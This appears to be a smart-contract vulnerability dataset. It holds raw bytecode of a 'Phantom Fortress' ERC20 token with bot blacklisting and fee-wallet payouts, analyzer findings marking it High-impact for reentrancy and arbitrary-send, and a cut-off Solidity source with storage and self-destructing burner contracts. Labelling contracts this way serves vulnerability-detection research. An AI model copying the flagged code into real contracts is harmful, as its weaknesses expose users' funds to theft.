ffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5048414e544f4d00000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600781526020017f5048414e544f4d0000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601081526020017f5068616e746f6d20466f7274726573730000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201df074235e3c2c30cb0806d5a2a238248dc7fd773a1aa110fd86a759096a884c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,692 |
0x3eacbDC6C382ea22b78aCc158581A55aaF4ef3Cc | /**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
abstract contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
modifier onlyOwner() {
require(owner == msg.sender, 'NOT_OWNER');
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'ZERO_ADDR');
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) private _uintStorage;
mapping(bytes32 => string) private _stringStorage;
mapping(bytes32 => address) private _addressStorage;
mapping(bytes32 => bytes) private _bytesStorage;
mapping(bytes32 => bool) private _boolStorage;
mapping(bytes32 => int256) private _intStorage;
// *** Getter Methods ***
function getUint(bytes32 key) public view returns (uint256) {
return _uintStorage[key];
}
function getString(bytes32 key) public view returns (string memory) {
return _stringStorage[key];
}
function getAddress(bytes32 key) public view returns (address) {
return _addressStorage[key];
}
function getBytes(bytes32 key) public view returns (bytes memory) {
return _bytesStorage[key];
}
function getBool(bytes32 key) public view returns (bool) {
return _boolStorage[key];
}
function getInt(bytes32 key) public view returns (int256) {
return _intStorage[key];
}
// *** Setter Methods ***
function _setUint(bytes32 key, uint256 value) internal {
_uintStorage[key] = value;
}
function _setString(bytes32 key, string memory value) internal {
_stringStorage[key] = value;
}
function _setAddress(bytes32 key, address value) internal {
_addressStorage[key] = value;
}
function _setBytes(bytes32 key, bytes memory value) internal {
_bytesStorage[key] = value;
}
function _setBool(bytes32 key, bool value) internal {
_boolStorage[key] = value;
}
function _setInt(bytes32 key, int256 value) internal {
_intStorage[key] = value;
}
// *** Delete Methods ***
function _deleteUint(bytes32 key) internal {
delete _uintStorage[key];
}
function _deleteString(bytes32 key) internal {
delete _stringStorage[key];
}
function _deleteAddress(bytes32 key) internal {
delete _addressStorage[key];
}
function _deleteBytes(bytes32 key) internal {
delete _bytesStorage[key];
}
function _deleteBool(bytes32 key) internal {
delete _boolStorage[key];
}
function _deleteInt(bytes32 key) internal {
delete _intStorage[key];
}
}
contract Burner {
constructor(address tokenAddress, bytes32 salt) {
BurnableMintableCappedERC20(tokenAddress).burn(salt);
selfdestruct(payable(address(0)));
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
